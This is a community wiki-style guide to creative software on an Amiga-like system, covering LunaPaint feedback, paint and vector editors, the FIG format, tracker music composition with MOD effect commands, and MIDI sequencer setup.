In general LunaPaint is really well done and it feels like a new DeluxePaint version. It works with my tablet. Sure there's much missing of course but things can always be added over time. So there is great potential in LunaPaint that's for sure. Animations could be made in it and maybe put together in QuickVideo, saving in .gif or .mng etc some day.


LAYERS
-Layers names don't get saved globally in animation frames
-Layers order don't change globally in an animation (perhaps as default?).

EXPORTING IMAGES
-Exporting frames to JPG/PNG gives problems with colors. (wrong colors. See my animatiopn --&gt; My robot was blue now it's &quot;gold&quot; ) I think this only happens if you have layers.
-Trying to flatten the layers before export doesn't work if you have animation frames only the one you have visible will flatten properly all other frames are destroyed. (Only one of the layers are visible on them)
-Exporting images filenames should be for example e.g. file0001, file0002...file0010 instead as of now file1, file2...file10

LOAD/SAVE (Preferences)
-Make a setting for the default &quot;Work&quot; folder.

* Destroyed colors if exported image/frame has layers 
* mystic color cycling of the selected color while stepping frames back/forth (annoying)

&lt;pre&gt;
Deluxe Paint II enhanced key shortcuts 
    NOTE: @ denotes the ALT key

    [Technique]

    F1  - Paint
    F2  - Single Colour
    F3  - Replace
    F4  - Smear
    F5  - Shade
    F6  - Cycle
    F7  - Smooth
     M  - Colour Cycle

    [Brush]

     B  - Restore
     O  - Outline
     h  - Halve brush size
     H  - Double brush size
     x  - Flip brush on X axis
     X  - Double brush size on X axis only
     y  - Flip on Y 
     Y  - Double on Y
     z  - Rotate brush 90 degrees
     Z  - Stretch

    [Stencil]

     `  - Stencil On

    [Miscellaneous]

    F9  - Info Bar
    F10 - Selection Bar
    @o  - Co-Ordinates
    @a  - Anti-alias
    @r  - Colourise
    @t  - Translucent
    TAB - Colour Cycle

    [Picture]

     L  - Load
     S  - Save
     j  - Page to Spare(Flip)
     J  - Page to Spare(Copy)
     V  - View Page
     Q  - Quit

    [General Keys]

     m  - Magnify
     &lt;  - Zoom In
     &gt;  - Zoom Out
     [  - Palette Colour Up
     ]  - Palette Colour Down
     (  - Palette Colour Left
     )  - Palette Colour Right
     ,  - Eye Dropper
     .  - Pixel / Brush Toggle
     /  - Symmetry
     |  - Co-Ordinates
    INS - Perspective Control
    +/- - Brush Size (Fine Control)
     w  - Unfilled Polygon
     W  - Filled Polygon
     e  - Unfilled Ellipse
     E  - Filled Ellipse
     r  - Unfilled Rectangle
     R  - Filled Rectangle
     t  - Type/text tool
     a  - Select Font
    u/U - Undo
     d  - Brush
     D  - Filled Non-Uniform Polygon
    f/F - Fill Options
    g/G - Grid
    h/H - Brush Size (Coarse Control)
     K  - Clear
     c  - Unfilled Circle
     C  - Filled Circle
     v  - Line
     b  - Scissor Select and Toggle
     B  - Brush
    {,} - Toggle between two background colours
&lt;/pre&gt;

====Lodepaint====

Pixel based painting artwork app

====Grafx2====

Pixel based painting artwork app aesprite like 

[https://www.youtube.com/watch?v=59Y6OTzNrhk aesprite workflow keys and tablet use], [], 


====Vector Graphics ZuneFIG====

Vector Image Editing of files .svg .ps .eps


*Objects - raise lower rotate flip aligning snapping 
*Path - unify subtract intersect exclude divide 
*Colour - fill stroke 
*Stroke - size 
*Brushes - 
*Layers - 
*Effects - gaussian bevels glows shadows 
*Text    - 
*Transform - 


 AmiFIG ([http://epb.lbl.gov/xfig/frm_introduction.html xfig manual]) 

[[File:MyScreen.png|thumb|left|alt=Showing all Windows open in AmiFIG.|All windows available to AmiFIG.]]

for drawing simple to intermediate vector graphic images for scientific and technical uses and for illustration purposes for those with talent

;Menu options
* Load - fig format but import(s) SVG
* Save - fig format but export(s) eps, ps, pdf, svg and png
* PAN = Ctrl + Arrow keys 
* Deselect all points

There is no selected object until you apply the tool, and the selected object is not highlighted.

;Metrics - to set up page and styles - first window to open on new drawings

;Tools - Drawing Primitives - set Attributes window first before clicking any Tools button(s) 
* Shapes - circles, ellipses, arcs, splines, boxes,  polygon 
* Lines - polylines
* Text &quot;T&quot; button 
* Photos - bitmaps
* Compound - Glue, Break, Scale 
* POINTs - Move, Add, Remove 
* Objects - Move, Copy, Delete, Mirror, Rotate, Paste 
use right mouse button to stop extra lines, shapes being formed and the left mouse to select/deselect tools button(s)
* Rotate - moves in 90 degree turns centered on clicked POINT of a polygon or square

;Attributes which provide change(s) to the above primitives 
* Color
* Line Width
* Line Style
* arrowheads

;Modes 
Choose from freehand, charts, figures, magnet, etc.

;Library - allows .fig clip-art to be stored 
* compound tools to add .fig(s) together

;FIG 3.2 [http://epb.lbl.gov/xfig/fig-format.html Format] as produced by xfig version 3.2.5 
&lt;pre&gt;
Landscape
Center
Inches
Letter 
100.00
Single
-2
1200 2
4 0 0 50 -1 0 12 0.0000 4 135 1050 1050 2475 This is a test.01
&lt;/pre&gt;

# change the text alignment within the textbox. I can choose left, center, or right aligned by either changing the integer in the second column from 0 (left) to 1 or 2 (center, or right). 
# The third integer in the row specifies fontcolor. For instance, 0 is black, but blue is 1 and Green3 is 13.
# The sixth integer in the bottom row specifies fontface. 0 is Times-Roman, but 16 is Helvetica (a MATLAB default).
# The seventh number is fontsize. 12 represents a 12pt fontsize. Changing the fontsize of an item really is as easy as changing that number to 20.
# The next number is the counter-clockwise angle of the text. Notice that I have changed the angle to .7854 (pi/4 rounded to four digits=45 degrees).
# twelfth number is the position according to the standard “x-axis” in Xfig units from the left. Note that 1200 Xfig units is equivalent to once inch.
# thirteenth number is the “y-position” from the top using the same unit convention as before.

* The nested text string is what you entered into the textbox.
* The “01″ present at the end of that line in the .fig file is the closing tag. For instance, a change to \100 appends a @ symbol at the end of the period of that sentence.

; Just to note there are no layers, no 3d functions, no shading, no transparency, no animation


[[#top|...to the top]]

===Audio===


# AHI uses linear panning/balance, which means that in the center, you will get -6dB. If an app uses panning, this is what you will get. Note that apps like Audio Evolution need panning, so they will have this problem.

# When using AHI Hifi modes, mixing is done in 32-bit and sent as 32-bit data to the driver. The Envy24HT driver uses that to output at 24-bit (always).

# For the Envy24/Envy24HT, I've made 16-bit and 24-bit inputs (called Line-in 16-bit, Line-in 24-bit etc.). There is unfortunately no app that can handle 24-bit recording.


====Music Mods====

Digital module (mods) trackers are music creation software using samples and sometimes soundfonts, audio plugins (VST, AU or RTAS), MIDI.

Generally, MODs are similar to MIDI in that they contain note on/off and other sequence messages that control the mod player. Unlike (most) midi files, however, they also contain sound samples that the sequence information actually plays. MOD files can have many channels (classic amiga mods have 4, corresponding to the inbuilt sound channels), but unlike MIDI, each channel can typically play only one note at once. However, since that note might be a sample of a chord, a drumloop or other complex sound, this is not as limiting as it sounds.

Like MIDI, notes will play indefinitely if they're not instructed to end. Most trackers record this information automatically if you play your music in live. If you're using manual note entry, you can enter a note-off command with a keyboard shortcut - usually Caps Lock.

In fact when considering file size MOD is not always the best option. Even a dummy song wastes few kilobytes for nothing when a simple SID tune could be few hundreds bytes and not bigger than 64kB. AHX is another small format, AHX tunes are never larger than 64kB excluding comments.

[https://www.youtube.com/watch?v=rXXsZfwgil Protrekkr] (previously aka [w:Juan_Antonio_Arguelles_Rius|NoiseTrekkr])

If Protrekkr does not start, please check if the Unit 0 has been setup in the AHI prefs and still not, go to the directory utilities/protrekkr and double click on the Protrekkr icon

*Sample
*Note - Effect 
*Track (column) - Pattern - Order

It all starts with the Sample which is used to create Note(s) in a Track (column of a tracker) 
The Note can be changed with an Effect.  A Track of Note(s) can be collected into a Pattern (section of a song) and these can be given Order to create the whole song.

Patience (notes have to be entered one at a time) or playing the bassline on a midi controller (faster - see midi section above).  Best approach is to wait until a melody popped into your head.

*Up-tempo means the track should be reasonably fast, but not super-fast. 
*Groovy and funky imply the track should have some sort of &quot;swing&quot; feel, with plenty of syncopation or off beat emphasis and a recognizable, melodic bass line. 
*Sweet and happy mean upbeat melodies, a major key and avoiding harsh sounds.
*Moody - minor key

First, create a quick bass sound, which is basically a sine wave, but can be hand drawn for a little more variance. It could also work for the melody part, too.

This is usually a bass guitar or some kind of synthesizer bass. The bass line is often forgotten by inexperienced composers, but it plays an important role in a musical piece. Together with the rhythm section the bass line forms the groove of a song. It's the glue between the rhythm section and the melodic layer of a song.

The drums are just pink noise samples, played at different frequencies to get a slightly different sound for the kick, snare, and hihats.

Instruments that fall into the rhythm category are bass drums, snares, hi-hats, toms, cymbals, congas, tambourines, shakers, etc. Any percussive instrument can be used to form part of the rhythm section.

The lead is the instrument that plays the main melody, on top of the chords. There are many instruments that can play a lead section, like a guitar, a piano, a saxophone or a flute. The list is almost endless. There is a lot of overlap with instruments that play chords. Often in one piece an instrument serves both roles. The lead melody is often played at a higher pitch than the chords.

Listened back to what was produced so far, and a counter-melody can be imagined, which can be added with a triangle wave.

To give the ends of phrases some life, you can add a solo part with a crunchy synth. By hitting random notes in the key of G, then edited a few of them.

For the climax of the song, filled out the texture with a gentle high-pitch pad… …and a grungy bass synth.


The arrow at A points at the pattern order list. As you see, the patterns don't have to be in numerical order. This song starts with pattern &quot;00&quot;, then pattern &quot;02&quot;, then &quot;03&quot;, then &quot;01&quot;, etcetera. Patterns may be repeated throughout a song.

The B arrow points at the song title. Below it are the global BPM and speed parameters. These determine the tempo of the song, unless the tempo is altered through effect commands during the song.

The C arrow points at the list of instruments. An instrument may consist of multiple samples. Which sample will be played depends on the note. This can be set in the Instrument Editing screen. Most instruments will consist of just one sample, though. The sample list for the selected instrument can be found under arrow D.

Here's a part of the main editing screen. This is where you put in actual notes. Up to 32 channels can be used, meaning 32 sounds can play simultaneously. The first six channels of pattern &quot;03&quot; at order &quot;02&quot; are shown here. The arrow at A points at the row number. The B arrow points at the note to play, in this case a C4. The column pointed at by the C arrow tells us which instrument is associated with that note, in this case instrument #1 &quot;Kick&quot;.

The column at D is used (mainly) for volume commands. In this case it is left empty which means the instrument should play at its default volume. You can see the volume column being used in channel #6.

The E column tells us which effect to use and any parameters for that effect. In this case it holds the &quot;F&quot; effect, which is a tempo command. The &quot;04&quot; means it should play at tempo 4 (a smaller number means faster).

Base pattern

When I create a new track I start with what I call the base pattern. It is worthwhile to spend some time polishing it as a lot of the ideas in the base pattern will be copied and used in other patterns. At least, that's how I work. Every musician will have his own way of working. In &quot;Wild Bunnies&quot; the base pattern is pattern &quot;03&quot; at order &quot;02&quot;.

In the section about selecting samples I talked about the four different categories of instruments: drums, bass, chords and leads. That's also how I usually go about making the base pattern. I start by making a drum pattern, then add a bass line, place some chords and top it off with a lead. This forms the base pattern from which the rest of the song will grow.


Drums

Here's a screenshot of the first four rows of the base pattern. I usually reserve the first four channels or so for the drum instruments. Right away there are a couple of tricks shown here. In the first channel the kick, or bass drum, plays some notes. Note the alternating F04 and F02 commands. The &quot;F&quot; command alters the tempo of the song and by quickly alternating the tempo; the song will get some kind of &quot;swing&quot; feel.

In the second channel the closed hi-hat plays a fairly simple pattern. Further down in the channel, not shown here, some open hi-hat notes are added for a bit of variation.

In the third and fourth channel the snare sample plays. The &quot;8&quot; command is for panning. One note is panned hard to the left and the other hard to the right. One sample is played a semitone lower than the other. This results in a cool flanging effect. It makes the snare stand out a little more in the mix.


Bass line

There are two different instruments used for the bass line. Instrument #6 is a pretty standard synthesized bass sound. Instrument #A sounds a bit like a slap bass when used with a quick fade out. By using two different instruments the bass line sounds a bit more ”human”. The volume command is used to cut off the notes. However, it is never set to zero. Setting the volume to a very small value will result in a reverb-like effect. This makes the song sound more &quot;live&quot;.

The bass line hints at the chords that will be played and the key the song will be in. In this case the key of the song is D-major, a positive and happy key.


Chords

The D major chords that are being played here are chords stabs; short sounds with a quick decay (fade out). Two different instruments (#8 and #9) are used to form the chords. These instruments are quite similar, but have a slightly different sound, panning and volume decay. Again, the reason for this is to make the sound more human. The volume command is used on some chords to simulate a delay, to achieve more of a live feel. The chords are placed off-beat making for a funky rhythm.


Lead

Finally the lead melody is added. The other instruments are invaluable in holding the track together, but the lead melody is usually what catches people's attention.

A lot of notes and commands are used here, but it looks more complex than it is. A stepwise ascending melody plays in channel 13. Channel 14 and 15 copy this melody, but play it a few rows later at a lower volume. This creates an echo effect. A bit of panning is used on the notes to create some stereo depth. Like with the bass line, instead of cutting off notes the volume is set to low values for a reverb effect. The &quot;461&quot; effect adds a little vibrato to the note, which sounds nice on sustained notes.

Those paying close attention may notice the instrument used here for the lead melody is the same as the one used for the bass line (#6 &quot;Square&quot;), except played two or three octaves higher. This instrument is a looped square wave sample. Each type of wave has its own quirks, but the square wave (shown below) is a really versatile wave form.

Song structure

Good, catchy songs are often carefully structured into sections, some of which are repeated throughout the song with small variations.

A typical pop-song structure is: Intro - Verse - Chorus - Verse - Chorus - Bridge - Chorus.

Other single sectional song structures are

&lt;pre&gt;
Strophic or AAA Song Form - oldest story telling with refrain (often title of the song) repeated in every verse section melody 
AABA Song Form - early popular, jazz and gospel fading during the 1960s 
AB or Verse/Chorus Song Form - songwriting format of choice for modern popular music since the 1960s 
Verse/Chorus/Bridge Song Form
ABAB Song Form
ABAC Song Form
ABCD Song Form
AAB 12-Bar Song Form - three four-bar lines or sub-sections 
8-Bar Song Form
16-Bar Song Form
Hybrid / Compound Song Forms
&lt;/pre&gt;

The most common building blocks are:

#INTRODUCTION(INTRO)
#VERSE
#REFRAIN
#PRE-CHORUS / RISE / CLIMB
#CHORUS
#BRIDGE
#MIDDLE EIGHT
#SOLO / INSTRUMENTAL BREAK
#COLLISION
#CODA / OUTRO
#AD LIB (OFTEN IN CODA / OUTRO)

The chorus usually has more energy than the verse and often has a memorable melody line. As the chorus is repeated the most often during the song, it will be the part that people will remember.

The bridge often marks a change of direction in the song. It is not uncommon to change keys in the bridge, or at least to use a different chord sequence. The bridge is used to build up tension towards the big finale, the last repetition of chorus.


 Playing

RCTRL:                           Play song from row 0.

LSHIFT + RCTRL:                  Play song from current row.

RALT:                            Play pattern from row 0.

LSHIFT + RALT:                   Play pattern from current row.

Left mouse on '&gt;':               Play song from row 0.

Right mouse on '&gt;':              Play song from current row.

Left mouse on '|&gt;':              Play pattern from row 0.

Right mouse on '|&gt;':             Play pattern from current row.

Left mouse on 'Edit/Record':     Edit mode on/off.

Right mouse on 'Edit/Record':    Record mode on/off.


 Editing 


LSHIFT + ESCAPE:                 Switch large patterns view on/off

TAB:                    Go to next track

LSHIFT + TAB:                    Go to prev. track

LCTRL + TAB:                    Go to next note in track

LCTRL + LSHIFT + TAB:           Go to prev. note in track

SPACE:                           Toggle Edit mode On &amp; Off

(Also stop if the song is being played)

SHIFT SPACE:                     Toggle Record mode On &amp; Off

(Wait for a key note to be pressed

or a midi in message to be received)

DOWN ARROW:                      1 Line down

UP ARROW:                        1 Line up

LEFT ARROW:                      1 Row left

RIGHT ARROW:                     1 Row right

PREV. PAGE:                      16 Arrows Up

NEXT PAGE:                       16 Arrows Down

HOME / END:                      Top left / Bottom right of pattern

LCTRL + HOME / END:              First / last track

F5, F6, F7, F8, F9:              Jump to 0, 1/4, 2/4, 3/4, 4/4 lines of the patterns

+ - (Numeric keypad):           Next / Previous pattern

LCTRL + LEFT / RIGHT:           Next / Previous pattern

LCTRL + LALT + LEFT / RIGHT:    Next / Previous position

LALT + LEFT / RIGHT:           Next / Previous instrument

LSHIFT + M:                      Toggle mute state of the current channel

LCTRL + LSHIFT + M:             Solo the current track / Unmute all

LSHIFT + F1 to F11:              Select a tab/panel

LCTRL + 1 to 4:                 Select a copy buffer


 Tracking 

1st and 2nd keys rows:           Upper octave row

3rd and 4th keys rows:           Lower octave row

RSHIFT:                          Insert a note off

/ and * (Numeric keypad)

or F1 F2:                        -1 or +1 octave

INSERT / BACKSPACE:              Insert or Delete a line in current track

or current selected block.

LSHIFT + INSERT / BACKSPACE:     Insert or Delete a line in current pattern

DELETE (NOT BACKSPACE):          Empty a column or a selected block.


 Blocks

(Blocks can also be selected with the mouse by holding the right button and scrolling the pattern with the mouse wheel).


LCTRL + A:          Select entire current track

LCTRL + LSHIFT + A: Select entire current pattern

LALT + A:          Select entire column note in a track

LALT + LSHIFT + A: Select all notes of a track

LCTRL + X:          Cut the selected block and copy it into the block-buffer

LCTRL + C:          Copy the selected block into the block-buffer

LCTRL + V:          Paste the data from the block buffer into the pattern

LCTRL + I:          Interpolate selected data from the first to the last row of a selection

LSHIFT + ARROWS

PREV. PAGE

NEXT PAGE: Select a block

LCTRL + R:          Randomize the select columns of a selection, works similar to CTRL + I (interpolating them)

LCTRL + U:          Transpose the note of a selection to 1 seminote higher

LCTRL + D:          Transpose the note of a selection to 1 seminote lower

LCTRL + LSHIFT + U: Transpose the note of a selection to 1 seminote higher (only for the current instrument)

LCTRL + LSHIFT + D: Transpose the note of a selection to 1 seminote lower  (only for the current instrument)

LCTRL + H:          Transpose the note of a selection to 1 octave higher

LCTRL + L:          Transpose the note of a selection to 1 octave lower

LCTRL + LSHIFT + H: Transpose the note of a selection to 1 octave higher (only for the current instrument)

LCTRL + LSHIFT + L: Transpose the note of a selection to 1 octave lower (only for the current instrument)

LCTRL + W:          Save the current selection into a file


 Misc 


LALT + ENTER:     Switch between full screen / windowed mode

LALT + F4:        Exit program (Windows only)

LCTRL + S:         Save current module

LSHIFT + S:         Switch top right panel to synths list

LSHIFT + I:         Switch top right panel to instruments list


&lt;pre&gt;
C-x   xh xx xx hhhh             Volume 
B-x   xh xx xx hhhh             Jump to 
A#x  xh xx xx hhhh hhhh   Slide 
F-x    xh xx xx hhhh            Tempo 
D-x   xh xx xx hhhh             Pattern Break 
G#x  xh xx xx hhhh
&lt;/pre&gt;

h Hex 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13

d Dec 01 02 03 04 05 06 07 08 09 10  11 12 13 14 15 16 17 18 19

The Set Volume command: C. Input a note, then move the cursor to the effects command column and type a C. Play the pattern, and you shouldn't be able to hear the note you placed the C by. This is because the effect parameters are 00. Change the two zeros to a 40(Hex)/64(Dec), depending on what your tracker uses. Play back the pattern again, and the note should come in at full volume.

The Position Jump command next. This is just a B followed by the position in the playing list that you want to jump to. One thing to remember is that the playing list always starts at 0, not 1. This command is usually in Hex.

Onto the volume slide command: A. This is slightly more complex (much more if you're using a newer tracker, if you want to achieve the results here, then set slides to Amiga, not linear), due to the fact it depends on the secondary tempo. For now set a secondary tempo of 06 (you can play around later), load a long or looped sample and input a note or two. A few rows after a note type in the effect command A. For the parameters use 0F. Play back the pattern, and you should notice that when the effect kicks in, the sample drops to a very low volume very quickly. Change the effect parameters to F0, and use a low volume command on the note. Play back the pattern, and when the slide kicks in the volume of the note should increase very quickly.
This because each part of the effect parameters for command A does a different thing. The first number slides the volume up, and the second slides it down. It's not recommended that you use both a volume up and volume down at the same time, due to the fact the tracker only looks for the first number that isn't set to 0. If you specify parameters of 8F, the tracker will see the 8, ignore the F, and slide the volume up. Using a slide up and down at same time just makes you look stupid. Don't do it...

The Set Tempo command: F, is pretty easy to understand. You simply specify the BPM (in Hex) that you want to change to. One important thing to note is that values of lower than 20 (Hex) sets the secondary tempo rather than the primary.

Another useful command is the Pattern Break: D. This will stop the playing of the current pattern and skip to the next one in the playing list. By using parameters of more than 00 you can also specify which line to begin playing from.

Command 3 is Portamento to Note. This slides the currently playing note to another note, at a specified speed. The slide then stops when it reaches the desired note. 
&lt;pre&gt;
   C-2 1 000 - Starts the note playing
   ---      000
   C-3    330 - Starts the slide to C-3 at a speed of 30.
   ---     300 - Continues the slide
   ---     300 - Continues the slide
&lt;/pre&gt;
Once the parameters have been set, the command can be input again without any parameters, and it'll still perform the same function unless you change the parameters. This memory function allows certain commands to function correctly, such as command 5, which is the Portamento to Note and Volume Slide command. Once command 3 has been set up command 5 will simply take the parameters from that and perform a Portamento to Note. Any parameters set up for command 5 itself simply perform a Volume Slide identical to command A at the same time as the Portamento to Note.

This memory function will only operate in the same channel where the original parameters were set up.
There are various other commands which perform two functions at once. They will be described as we come across them.

C-3  04  ..  ..  09  00 ---&gt; C-3  04  ..  ..  09  00

C-3  04  ..  ..  09  00 ---&gt; C-3  04  ..  ..  09  02

C-3  04  ..  ..  09  00 ---&gt; C-3  04  ..  ..  09  05

C-3  04  ..  ..  09  00 ---&gt; C-3  04  ..  ..  09  08

C-3  04  ..  ..  09  00 ---&gt; C-3  04  ..  ..  09  0A

C-3  04  ..  ..  09  00 ---&gt; C-3  04  ..  ..  09  0D

C-3  04  ..  ..  09  10 ---&gt; C-3  04  ..  ..  09  10

(You can also switch on the Slider Rec to On, and perform parameter-live-recording, such as cutoff transitions, resonance or panning tweaking, etc..)  Note: this command only works for volume/panning and fx datas columns.


The next command we'll look at is the Portamento up/down: 1 and 2. Command 1 slides the pitch up at a specified speed, and 2 slides it down. This command works in a similar way to the volume slide, in that it is dependent on the secondary tempo. Both these commands have a memory dependent on each other, if you set the slide to a speed of 3 with the 1 command, a 2 command with no parameters will use the speed of 3 from the 1 command, and vice versa.

Command 4 is Vibrato. Vibrato is basically rapid changes in pitch, just try it, and you'll see what I mean. Parameters are in the format of xy, where x is the speed of the slide, and y is the depth of the slide. One important point to remember is to keep your vibratos subtle and natural so a depth of 3 or less and a reasonably fast speed, around 8, is usually used. Setting the depth too high can make the part sound out of tune from the rest.
Following on from command 4 is command 6. This is the Vibrato and Volume Slide command, and it has a memory like command 5, which you already know how to use.

Command 7 is Tremolo. This is similar to vibrato. Rather than changing the pitch it slides the volume. The effect parameters are in exactly the same format.   vibrato effect (0x1dxy) x = speed y = depth (can't be used if arpeggio (0x1b) is turned on) 

&lt;pre&gt;
 C-7 00 .. .. 1B37 &lt;-  Turn Arpeggio effect on
  --- .. .. .. 0000
  --- .. .. .. 0000
  --- .. .. .. 0000
  --- .. .. .. 1B38 &lt;- Change datas
  --- .. .. .. 0000
  --- .. .. .. 0000
  --- .. .. .. 0000
  --- .. .. .. 1B00 &lt;- Turn it off
&lt;/pre&gt;

Command 9 is Sample Offset. This starts the playback of the sample from a different place than the start. The effect parameters specify the sample offset, but only very roughly. Say you have a sample which is 8765(Hex) bytes long, and you wanted it to play from position 4321(Hex). The effect parameter could only be as accurate as the 43 part, and it would ignore the 21.

Command B is the Playing List/Order Jump command. The parameters specify the position in the Playing List/Order to jump to. When used in conjunction with command D you can specify the position and the line to play from.

Command E is pretty complex, as it is used for a lot of different things, depending on what the first parameter is. Let's take a trip through each effect in order.
Command E0 controls the hardware filter on an Amiga, which, as a low pass filter, cuts off the highest frequencies being played back. There are very few players and trackers on other system that simulate this function, not that you should need to use it. The second parameter, if set to 1, turns on the filter. If set to 0, the filter gets turned off.

Commands E1/E2 are Fine Portamento Up/Down. Exactly the same functions as commands 1/2, except that they only slide the pitch by a very small amount. These commands have a memory the same as 1/2 as well.

Command E3 sets the Glissando control. If parameters are set to 1 then when using command 3, any sliding will only use the notes in between the original note and the note being slid to. This produces a somewhat jumpier slide than usual. The best way to understand is to try it out for yourself. Produce a slow slide with command 3, listen to it, and then try using E31.

Command E4 is the Set Vibrato Waveform control. This command controls how the vibrato command slides the pitch. Parameters are 0 - Sine, 1 - Ramp Down (Saw), 2 - Square. By adding 4 to the parameters, the waveform will not be restarted when a new note is played e.g. 5 - Sine without restart.

Command E5 sets the Fine Tune of the instrument being played, but only for the particular note being played. It will override the default Fine Tune for the instrument. The parameters range from 0 to F, with 0 being -8 and F being +8 Fine Tune. A parameter of 8 gives no Fine Tune. If you're using a newer tracker that supports more than -8 to +8 e.g. -128 to +128, these parameters will give a rough Fine Tune, accurate to the nearest 16.

Command E6 is the Jump Loop command. You mark the beginning of the part of a pattern that you want to loop with E60, and then specify with E6x the end of the loop, where x is the number of times you want it to loop.

Command E7 is the Set Tremolo Waveform control. This has exactly the same parameters as command E4, except that it works for Tremolo rather than Vibrato.

Command E9 is for Retriggering the note quickly. The parameter specifies the interval between the retrigs. Use a value of less than the current secondary tempo, or else the note will not get retrigged.

Command EA/B are for Fine Volume Slide Up/Down. Much the same as the normal Volume Slides, except that these are easier to control since they don't depend on the secondary tempo. The parameters specify the amount to slide by e.g. if you have a sample playing at a volume of 08 (Hex) then the effect EA1 will slide this volume to 09 (Hex). A subsequent effect of EB4 would slide this volume down to 05 (Hex).

Command EC is the Note Cut. This sets the volume of the currently playing note to 0 at a specified tick. The parameters should be lower than the secondary tempo or else the effect won't work.

Command ED is the Note Delay. This should be used at the same time as a note is to be played, and the parameters will specify the number of ticks to delay playing the note. Again, keep the parameters lower than the secondary tempo, or the note won't get played!

Command EE is the Pattern Delay. This delays the pattern for the amount of time it would take to play a certain number of rows. The parameters specify how many rows to delay for.

Command EF is the Funk Repeat command. Set the sample loop to 0-1000. When EFx is used, the loop will be moved to 1000- 2000, then to 2000-3000 etc. After 9000-10000 the loop is set back to 0- 1000. The speed of the loop &quot;movement&quot; is defined by x. E is two times as slow as F, D is three times as slow as F etc. EF0 will turn the Funk Repeat off and reset the loop (to 0-1000).

effects 0x41 and 0x42 to control the volumes of the 2 303 units

There is a dedicated panel for synth parameter editing with coherent sections (osc, filter modulation, routing, so on) the interface is much nicer, much better to navigate with customizable colors, the reverb is now customizable (10 delay lines), It accepts newer types of Waves (higher bit rates, at least 24). Has a replay routine.

It's pretty much your basic VA synth. The problem isn't with the sampler being to high it's the synth is tuned two octaves too low, but if you want your samples tuned down just set the base note down 2 octaves (in the instrument panel).

so the synth is basically divided into 3 sections from left to right: oscillators/envelopes, then filter and LFO's, and in the right column you have mod routings and global settings.

for the oscillator section you have two normal oscillators (sine, saw, square, noise), the second of which is tunable, the first one tunes with the key pressed. Attached to OSC 1 is a sub-oscillator, which is a sawtooth wave tuned one octave down. The phase modulation controls the point in the duty cycle at which the oscillator starts. The ADSR envelope sliders (grouped with oscs) are for modulation envelope 1 and 2 respectively. you can use the synth as a sampler by choosing the instrument at the top.

In the filter column, the filter settings are: 1 = lowpass, 2 = highpass, 3 = off. cutoff and resonance. For the LFOs they are LFO 1 and LFO 2, the ADSR sliders in those are for the LFO itself.

For the modulation routings you have ENV 1, LFO 1 for the first slider and ENV 2, LFO 2 for the second, you can cycle through the individual routings there, and you can route each modulation source to multiple destinations of course, which is another big plus for this synth. Finally the glide time is for portamento and master volume, well, the master volume... it can go quite loud.

The sequencer is changed too, It's more like the one in AXS if you've used that, where you can mute tracks to re-use patterns with variation.


&lt;pre&gt;
Support for the following modules formats:
669 (Composer 669, Unis 669), 
AMF (DSMI Advanced Module Format), 
AMF (ASYLUM Music Format V1.0), 
APUN (APlayer), DSM (DSIK internal format), 
FAR (Farandole Composer), 
GDM (General DigiMusic), 
IT (Impulse Tracker), 
IMF (Imago Orpheus), 
MOD (15 and 31 instruments), 
MED (OctaMED), 
MTM (MultiTracker Module editor), 
OKT (Amiga Oktalyzer), 
S3M (Scream Tracker 3), 
STM (Scream Tracker), 
STX (Scream Tracker Music Interface Kit), 
ULT (UltraTracker), 
UNI (MikMod), 
XM (FastTracker 2),
Mid (midi format via timidity)
&lt;/pre&gt;


Possible plugin options include [http://lv2plug.in/ LV2],


====Midi - Musical Instrument Digital Interface====

A midi file typically contains music that plays on up to 16 channels (as per the midi standard), but many notes can simultaneously play on each channel (depending on the limit of the midi hardware playing it).

'''Timidity'''

Although usually already installed, you can uncompress the [http://www.libsdl.org/projects/SDL_mixer/ timidity.tar.gz (14MB)] into a suitable drawer like below's SYS:Extras/Audio/ 
 assign timidity: SYS:Extras/Audio/timidity
added to SYSːs/User-Startup

'''WildMidi playback'''


'''Audio Evolution 4 (2003) 4.0.23 (from 2012)'''


*Sync Menu    - CAMD Receive, Send checked 
*Options Menu - MIDI Machine Control - Midi Bar Display - Select CAMD MIDI in / out - Midi Remote Setup 


MCB Master Control Bus 
*Sending a MIDI start-command and a Song Position Pointer, you can synchronize audio with an external MIDI sequencer (like B&amp;P). 
*B&amp;P Receive, start AE, add AudioEvolution.ptool in Bars&amp;Pipes track, press play / record in AE then press play in Pipes 
*CAMD Receive, receive MIDI start or continue commands via camd.library sync to AE 


*MIDI Machine Control
*Midi Bar Display 
*Select CAMD MIDI in / out
*Midi Remote Setup - open requester for external MIDI controllers to control app mixer and transport controls cc remotely 
 Channel   - mixer(vol, pan, mute, solo), eq, aux, fx, 
 Subgroup  - Volume, Mute, Solo 
 Transport - Start, End, Play, Stop, Record, Rewind, Forward 
 Misc      - Master vol., Bank Down, Bank up 


&lt;pre&gt;
q        - quit 

First 3 already opened when AE started 
F1       - timeline window
F2       - mixer 
F3       - control 
F4       - subgroups 
F5       - aux returns 
F6       - sample list 

i        - Load sample to use 

space    - start/stop play 
b        - reset time 0:00


s        - split mode 
r        - open recording window 
a        - automation edit mode with p panning, m mute and v volume 


[ / ]    - zoom in / out 
:        - previous track
*        - next track 

x c v f  - cut copy paste cross-fade 
g        - snap grid 


&lt;/pre&gt;


 '''[http://bnp.hansfaust.de/ Bars n Pipes sequencer]'''

 BarsnPipes debug ... in shell 

Menu (right mouse)  
*Song        - Songs load and save in .song format but option here to load/save Midi_Files .mid in FORMAT0 or FORMAT1 
*Track       - 
*Edit        -
*Tool        - 
*Timing      - SMTPE Synchronizing 
*Windows     - 
*Preferences - Multiple MIDI-in option 

Windows (some of these are usually already opened when Bars n Pipes starts up for the first time) 
*Workflow -&gt; Tracks, .... Song Construction, Time-line Scoring, Media Madness, Mix Maestro, 
*Control  -&gt; Transport (or mini one), Windows (which collects all the Windows icons together-shortcut), .... Toolbox, Accessories, Metronome, 

Once you have your windows placed on the screen that suits your workflow, Song -&gt; Save as Default will save the positions, colors, icons, etc as you'd like them 

If you need a particular setup of Tracks, Tools, Tempos etc, you save them all as a new song you can load each time 

Right mouse menu -&gt; Preferences -&gt; Environment... -&gt; ScreenMode  - Linkages for Synch (to Slave) usbmidi.out.0 and Send (Master) usbmidi.in.0 - Clock MTC 


'''Tracks'''

#Double-click on B&amp;P's icon. B&amp;P will then open with an empty Song. You can also double-click on a song icon to open a song in B&amp;P.
